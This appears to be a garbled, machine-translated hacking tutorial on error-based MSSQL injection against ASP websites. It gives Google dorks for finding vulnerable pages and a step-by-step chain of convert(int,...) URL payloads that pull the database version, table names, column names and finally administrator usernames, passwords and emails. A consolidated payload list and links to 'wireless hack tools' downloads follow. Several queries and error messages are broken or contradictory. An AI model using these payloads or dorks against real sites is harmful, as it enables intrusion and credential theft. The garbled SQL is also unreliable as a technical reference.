MS Sql Injection
MSSQL-injection

MSSQL – injection
###########################

1.1 Introduction
1.2 How to ask Vulnerability page?
1.3 How to prove that the site of weakness?
1.4 How to find version / name of the DB?
1.5 How to discover the names table (table_name)?
1.6 How to discover the names of column (column_name)?
1.7 How to get data from tables that interest us (eg name, pass, email, etc.)?
1.8 Conclusion?

[1.1 Introduction]
############

This lesson will try to explain that you already know the different techniques, MSSQL-injection.
Who will have the opportunity to learn how this method is used as a favorite act to obtain information (name, password and login) or various other information through this technique.
MSSQL-injection, can be used for products that are created by well-known company Microsoft.
This type of injection, then deal with those sites that are coded in ASP / Aspks etc.

There are several types of attacks in this way:

* – Normal MSSQL SQL Injection attacks
* – MSSQL injection in Web services (SOAP injection)
* – Union with MSSQL injection attack
* – ODBC error attack the “Convert”
* – MSSQL Blind SQL Injection attacks, etc. ..

For this will be used for writing this type of attack:
“Attack of the ODBC error message” Convert ”

[1.2 How to ask Vulnerability page? ]
############################

How to ask who Vulnerability page is easy. This can use Google services company giant.

Let’s open: Google

I write, for example: inurl: “Boleyn”. “ID”
inurl: “neus.asp” menu ”
inurl: “content.asp” under ”
inurl: “games.asp” ID ”
ETC ….( I decided some examples, you can now use the logic, for better dorks)

[1.3 How to prove that the site of weakness? ]
##################################

So we can understand very easily by adding the following ID page of high comma (,).
And in case that gives us the answer we found no error page means Vulnerability example:

++++++++++++++++++++++++++++++++++++++
/ Microsoft Access ODBC driver /
++++++++++++++++++++++++++++++++++++++
/ Open quotation /
++++++++++++++++++++++++++++++++++++++
/ Microsoft Amos DB provider for Oracle /
++++++++++++++++++++++++++++++++++++++
/ Division by zero in /
++++++++++++++++++++++++++++++++++++++

These are some of the most common response is shown pages that are weaknesses in the MSSQL – injection.

Should now act as an example here, and where to put high ( ‘).

For example:
————————————–

www.localhost.com/news.asp?id=100′

————————————–

Now we can say that the error is displayed:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e14 ‘

Open quotation mark after the character string “) AND (Volgorde> 0) ORDER BY Volgorde ‘.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

This page has weaknesses!

[1.4 How to find version 2.4 / DB name? ]
############################

Let the example easier to understand:

Version:
————————————————– ——————

www.localhost.com/news.asp?id=100+or+1=convert(int,(@@version))–

————————————————– ——————

And we have presented an example:
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion failed when converting nvarchar value ‘MS SQL Server 2008 (SP1) – 10.0.2531.0 (64) 29. March 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Edition (64-bit), the operating systems Windows NT 6.0 (Build 6002: Service Pack 2) (SM), a data type Int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++

Now go find DB_Name:
————————————————– ——————-

www.localhost.com/news.asp?id=100+or+1=convert(int,(DB_Name ()))–

————————————————– ——————-

eg.
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion is not EVILZONE_CREW_DB when converting nvarchar value ‘to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++

[1.5 How to discover the names table (table_name)]
######################################

Because it is discovered, or simply to find the side of the table goes through this method.

For example:
————————————————– ————————————————– ————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables)) —

————————————————– ————————————————– ————–
And now there will be a mistake, such as:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion is when converting nvarchar value of users’ data on the type Int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

That is, in this case the table (table_name) The first is the ‘Users’, now find the following table:

For example:
————————————————– ————————————————– ————————————————

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from table_name where information_schema.tables not ( ‘Users’)))–

————————————————– ————————————————– ————————————————

And now an error message will appear the same and will give another table:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion is not news when converting nvarchar value ‘to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Another table in this case is ‘news’

Now to find the table (table_name) third goes like this:

For example:
————————————————– ————————————————– ————————————————– ———

www.localhost.com/news.asp?id=100+or+1 =convert(int,(select top 1 table_name from table_name where information_schema.tables not ( ‘Users’,’ news’)))–

————————————————– ————————————————– ————————————————– ———

I appear to us the third table:

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion is when converting nvarchar value categories’ of data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Then the third table ‘categories’, and so on until you find all the tables.

For example:
————————————————– ————————————————– ————————————————– ——————

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from table_name where information_schema.tables not ( ‘Users’, ‘news’, ‘Categories’))) —

————————————————– ————————————————– ————————————————– ——————

[1.6 How to discover the names of column (column_name)]
###########################################

-If you want to column_name for users as’ go:

For example:
————————————————– ————————————————– —————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name = ‘users’))–

————————————————– ————————————————– —————————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion failed when converting nvarchar value ‘Name’ to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

So colums name for the table (table_name) ‘Users’ the ‘name’

Now find the column (column_name) other at the same table ‘Users’:

For example:
————————————————– ————————————————– ————————————————– ——————

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name = ‘users’ and column_name (‘ name’)))–

————————————————– ————————————————– ————————————————– ————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion is not a password when converting nvarchar value ‘to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Columns name (column_name) the other is ‘password’, now go find a rotating column_name:

For example:
————————————————– ————————————————– ————————————————– ——————

www.localhost.com/news.asp?id=100+or+=convert(int,(select top 1 column_name from information_schema.columns where table_name = ‘users’ and column_name ( ‘name’, ‘password’)))–

————————————————– ————————————————– ————————————————– —————————————
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion failed when converting nvarchar value ’emailaddress’ to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

Therefore, the third Colum_name ’emailaddress’ and so on and on until the end, to find all of the columns (column_name)!

[1.7 How to get data that interest you (our user name, pass, email, etc.)]
################################################## ###

To do so you do not have anything to ndyshe we mentioned before.
In this section, all that needs to be done is to table (table_name), and the names of column (column_name) in their earlier results found.

In this section will be used:
Table_name = Users
Column_name = user name, password, emailaddress!

Some have now replaced the example:
————————————————– —————————————–
www.localhost.com/news.asp?id =100+or+1=convert (int,(select top 1 name from Users))–[CODE]
————————————————– —————————————–
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion is not an administrator when converting nvarchar value ‘to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

user name: Administrator

Replacing now the first column “Name” in the second column “password”:

For example:
————————————————– —————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top password from the user 1))–

————————————————– —————————————–

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
Microsoft Amos DB Provider for SQL Server error ‘80040e07 ‘

Conversion failed when converting nvarchar value ‘123456 ‘to data type int.

/ MSN / shared / includes / main_rub.asp, Line 4
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

password: administratorpassword123

Now, instead of rotating columns works the same as above:

For example:
————————————————– ———————————————

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 from users emailaddress)) —

————————————————– ———————————————

emailaddress: [email protected]

Here then we have achieved some info on, and the name / pass and emailaddress page.

user name: Administrator
password: administratorpassword123
emailaddress: [email protected]

[ 1.8 Conclusion ]
############

================================================== ===========================

www.localhost.com/news.asp?id=100′

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(@@version))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(db_name()))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘Users’)))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘Users’ , ‘members’)))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in (‘Users’ , ‘members’ , ‘categories’)))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’Users’))–

————————————————————————————————————————————————————————–

www.ocalhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’Users’ and column_name not in (‘username’)))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’Users’ and column_name not in (‘username’ , ‘password’)))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 username from Users))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 password from Users))–

————————————————————————————————————————————————————————–

www.localhost.com/news.asp?id=100+or+1=convert(int,(select top 1 emailaddress from Users))–

================================================== ===========================

Explore More

Wireless hack tools 2008

Hi Here is wireless hack tools 2008 http://rapidshare.com/files/12390847...z_2008_AIO.rarhttp://rs166.rapidshare.com/files/12...z_2008_AIO.rar

Cyber attacks are real but is there any foolproof defense yet?

Tulip Systems Inc., the world renowned high bandwidth and broadcast stream hosting service US corporation was under repeated cyber attacks aimed at disrupting web services during the Georgia-Russia standoff few

Critical SQL Injection in Myanmar Calendar

PlanetCreator‘s Security Team Researcher Infofreakzzz reported another Critical SQL injection (vulnerability) on Myanmar Calendar URL : http://www.myanmarcalendar.org/ SQL injection is a code injection technique that exploits a security vulnerability occurring